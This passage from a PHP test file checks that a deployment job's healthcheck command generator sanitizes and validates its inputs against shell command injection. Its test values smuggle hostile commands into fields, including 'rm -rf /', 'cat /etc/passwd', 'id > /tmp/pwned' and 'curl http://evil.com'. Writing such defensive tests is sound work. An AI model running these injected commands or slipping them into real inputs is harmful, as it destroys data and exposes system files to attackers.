'localhost; id > /tmp/pwned #', ]); // Should fall back to 'localhost' because input contains shell metacharacters expect($result)->not->toContain('; id') ->and($result)->not->toContain('/tmp/pwned') ->and($result)->toContain('localhost'); }); it('sanitizes health_check_method to prevent command injection', function () { $result = callGenerateHealthcheckCommands([ 'health_check_method' => 'GET; curl http://evil.com #', ]); expect($result)->not->toContain('evil.com') ->and($result)->not->toContain('; curl'); }); it('sanitizes health_check_path to prevent command injection', function () { $result = callGenerateHealthcheckCommands([ 'health_check_path' => '/health; rm -rf / #', ]); expect($result)->not->toContain('rm -rf') ->and($result)->not->toContain('; rm'); }); it('sanitizes health_check_scheme to prevent command injection', function () { $result = callGenerateHealthcheckCommands([ 'health_check_scheme' => 'http; cat /etc/passwd #', ]); expect($result)->not->toContain('/etc/passwd') ->and($result)->not->toContain('; cat'); }); it('casts health_check_port to integer to prevent injection', function () { $result = callGenerateHealthcheckCommands([ 'health_check_port' => '8080; whoami', ]); // (int) cast on non-numeric after digits yields 8080 expect($result)->not->toContain('whoami') ->and($result)->toContain('8080'); }); it('generates valid healthcheck command with safe inputs', function () { $result = callGenerateHealthcheckCommands([ 'health_check_method' => 'GET', 'health_check_scheme' => 'http', 'health_check_host' => 'localhost', 'health_check_port' => '8080', 'health_check_path' => '/health', ]); expect($result)->toContain('curl -s -X') ->and($result)->toContain('http://localhost:8080/health') ->and($result)->toContain('wget -q -O-'); }); it('uses escapeshellarg on the constructed URL', function () { $result = callGenerateHealthcheckCommands([ 'health_check_host' => 'my-app.local', 'health_check_path' => '/api/health', ]); // escapeshellarg wraps in single quotes expect($result)->toContain("'http://my-app.local:80/api/health'"); }); it('validates health_check_host rejects shell metacharacters via API rules', function () { $rules = sharedDataApplications(); $validator = Validator::make( ['health_check_host' => 'localhost; id #'], ['health_check_host' => $rules['health_check_host']] ); expect($validator->fails())->toBeTrue(); }); it('validates health_check_method rejects invalid methods via API rules', function () { $rules = sharedDataApplications(); $validator = Validator::make( ['health_check_method' => 'GET; curl evil.com'], ['health_check_method' => $rules['health_check_method']] ); expect($validator->fails())->toBeTrue(); }); it('validates health_check_scheme rejects invalid schemes via API rules', function () { $rules = sharedDataApplications(); $validator = Validator::make( ['health_check_scheme' => 'http; whoami'], ['health_check_scheme' => $rules['health_check_scheme']] ); expect($validator->fails())->toBeTrue(); }); it('validates health_check_path rejects shell metacharacters via API rules', function () { $rules = sharedDataApplications(); $validator = Validator::make( ['health_check_path' => '/health; rm -rf /'], ['health_check_path' => $rules['health_check_path']] ); expect($validator->fails())->toBeTrue(); }); it('validates health_check_port rejects non-numeric values via API rules', function () { $rules = sharedDataApplications(); $validator = Validator::make( ['health_check_port' => '8080; whoami'], ['health_check_port' => $rules['health_check_port']] ); expect($validator->fails())->toBeTrue(); }); it('allows valid health check values via API rules', function () { $rules = sharedDataApplications(); $validator = Validator::make( [ 'health_check_host' => 'my-app.localhost', 'health_check_method' => 'GET', 'health_check_scheme' => 'https', 'health_check_path' => '/api/v1/health', 'health_check_port' => 8080, ], [ 'health_check_host' => $rules['health_check_host'], 'health_check_method' => $rules['health_check_method'], 'health_check_scheme' => $rules['health_check_scheme'], 'health_check_path' => $rules['health_check_path'], 'health_check_port' => $rules['health_check_port'], ] ); expect($validator->fails())->toBeFalse(); }); /** * Helper: Invokes the private generate_healthcheck_commands() method via reflection. */ function callGenerateHealthcheckCommands(array $overrides = []): string { $defaults = [ 'health_check_method' => 'GET', 'health_check_scheme' => 'http', 'health_check_host' => 'localhost', 'health_check_port' => null, 'health_check_path' => '/', 'ports_exposes' => '80', ]; $values = array_merge($defaults, $overrides); $application = Mockery::mock(Application::class)->makePartial(); $application->shouldReceive('getAttribute')->with('health_check_method')->andReturn($values['health_check_method']); $application->shouldReceive('getAttribute')->with('health_check_scheme')->andReturn($values['health_check_scheme']); $application->shouldReceive('getAttribute')->with('health_check_host')->andReturn($values['health_check_host']); $application->shouldReceive('getAttribute')->with('health_check_port')->andReturn($values['health_check_port']); $application->shouldReceive('getAttribute')->with('health_check_path')->andReturn($values['health_check_path']); $application->shouldReceive('getAttribute')->with('ports_exposes_array')->andReturn(explode(',', $values['ports_exposes'])); $application->shouldReceive('getAttribute')->with('build_pack')->andReturn('nixpacks'); $settings = Mockery::mock(ApplicationSetting::class)->makePartial(); $settings->shouldReceive('getAttribute')->with('is_static')->andReturn(false); $application->shouldReceive('getAttribute')->with('settings')->andReturn($settings); $deploymentQueue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial(); $job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial(); $reflection = new ReflectionClass($job); $appProp = $reflection->getProperty('application'); $appProp->setAccessible(true); $appProp->setValue($job, $application); $method = $reflection->getMethod('generate_healthcheck_commands'); $method->setAccessible(true); return $method->invoke($job); }